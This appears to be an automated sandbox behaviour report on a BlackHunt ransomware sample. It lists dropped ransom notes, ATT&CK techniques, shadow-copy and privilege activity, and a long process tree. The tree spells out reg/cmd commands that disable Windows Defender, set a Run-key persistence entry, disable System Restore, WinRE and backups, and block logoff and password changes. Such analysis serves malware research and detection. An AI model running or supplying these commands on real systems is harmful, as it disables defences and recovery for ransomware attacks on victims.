File opened for modification	C:\Program Files\7-Zip\Lang\fy.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Memories\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fur.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\#BlackHunt_Private.key	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hr.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\es.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\#BlackHunt_ReadMe.hta	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\kk.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\#BlackHunt_ReadMe.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\de.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sr-spc.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tg.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ba.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2256	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2424	vssadmin.exe
1508	vssadmin.exe
2652	vssadmin.exe
2792	vssadmin.exe
1928	vssadmin.exe
1944	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2120	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2724	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2396	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeRestorePrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeBackupPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeTakeOwnershipPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeAuditPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeSecurityPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeIncBasePriorityPrivilege	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Token: SeBackupPrivilege	108	vssvc.exe
Token: SeRestorePrivilege	108	vssvc.exe
Token: SeAuditPrivilege	108	vssvc.exe
Token: SeBackupPrivilege	2276	wbengine.exe
Token: SeRestorePrivilege	2276	wbengine.exe
Token: SeSecurityPrivilege	2276	wbengine.exe
Token: SeSecurityPrivilege	2196	wevtutil.exe
Token: SeSecurityPrivilege	2556	wevtutil.exe
Token: SeSecurityPrivilege	1072	wevtutil.exe
Token: SeBackupPrivilege	2196	wevtutil.exe
Token: SeBackupPrivilege	1072	wevtutil.exe
Token: SeBackupPrivilege	2556	wevtutil.exe
Token: SeSecurityPrivilege	1772	wevtutil.exe
Token: SeSecurityPrivilege	1572	wevtutil.exe
Token: SeBackupPrivilege	1772	wevtutil.exe
Token: SeBackupPrivilege	1572	wevtutil.exe
Token: SeDebugPrivilege	2120	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 844 wrote to memory of 2920	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	29
PID 844 wrote to memory of 2920	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	29
PID 844 wrote to memory of 2920	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	29
PID 844 wrote to memory of 2920	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	29
PID 844 wrote to memory of 2008	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	30
PID 844 wrote to memory of 2008	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	30
PID 844 wrote to memory of 2008	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	30
PID 844 wrote to memory of 2008	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	30
PID 844 wrote to memory of 2756	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	31
PID 844 wrote to memory of 2756	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	31
PID 844 wrote to memory of 2756	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	31
PID 844 wrote to memory of 2756	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	31
PID 844 wrote to memory of 2712	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	34
PID 844 wrote to memory of 2712	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	34
PID 844 wrote to memory of 2712	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	34
PID 844 wrote to memory of 2712	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	34
PID 844 wrote to memory of 2832	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	35
PID 844 wrote to memory of 2832	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	35
PID 844 wrote to memory of 2832	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	35
PID 844 wrote to memory of 2832	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	35
PID 844 wrote to memory of 2820	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	36
PID 844 wrote to memory of 2820	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	36
PID 844 wrote to memory of 2820	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	36
PID 844 wrote to memory of 2820	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	36
PID 844 wrote to memory of 2036	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	37
PID 844 wrote to memory of 2036	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	37
PID 844 wrote to memory of 2036	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	37
PID 844 wrote to memory of 2036	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	37
PID 844 wrote to memory of 2792	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	38
PID 844 wrote to memory of 2792	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	38
PID 844 wrote to memory of 2792	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	38
PID 844 wrote to memory of 2792	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	38
PID 844 wrote to memory of 2640	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	40
PID 844 wrote to memory of 2640	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	40
PID 844 wrote to memory of 2640	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	40
PID 844 wrote to memory of 2640	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	40
PID 844 wrote to memory of 2632	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	42
PID 844 wrote to memory of 2632	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	42
PID 844 wrote to memory of 2632	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	42
PID 844 wrote to memory of 2632	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	42
PID 844 wrote to memory of 2776	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	47
PID 844 wrote to memory of 2776	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	47
PID 844 wrote to memory of 2776	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	47
PID 844 wrote to memory of 2776	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	47
PID 844 wrote to memory of 2716	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	48
PID 844 wrote to memory of 2716	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	48
PID 844 wrote to memory of 2716	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	48
PID 844 wrote to memory of 2716	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	48
PID 844 wrote to memory of 2860	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	49
PID 844 wrote to memory of 2860	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	49
PID 844 wrote to memory of 2860	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	49
PID 844 wrote to memory of 2860	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	49
PID 844 wrote to memory of 2604	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	50
PID 844 wrote to memory of 2604	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	50
PID 844 wrote to memory of 2604	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	50
PID 844 wrote to memory of 2604	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	50
PID 844 wrote to memory of 2600	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	51
PID 844 wrote to memory of 2600	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	51
PID 844 wrote to memory of 2600	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	51
PID 844 wrote to memory of 2600	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	51
PID 844 wrote to memory of 2724	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	56
PID 844 wrote to memory of 2724	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	56
PID 844 wrote to memory of 2724	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	56
PID 844 wrote to memory of 2724	844	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe
"C:\Users\Admin\AppData\Local\Temp\4824cc50078de77b383439796c397eeee103a28e743f4951eb84c15c330a6bc4.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:2920
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2716
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2304
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:2192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:2944
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:3004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2320
- C:\Windows\System32\cmd.exe
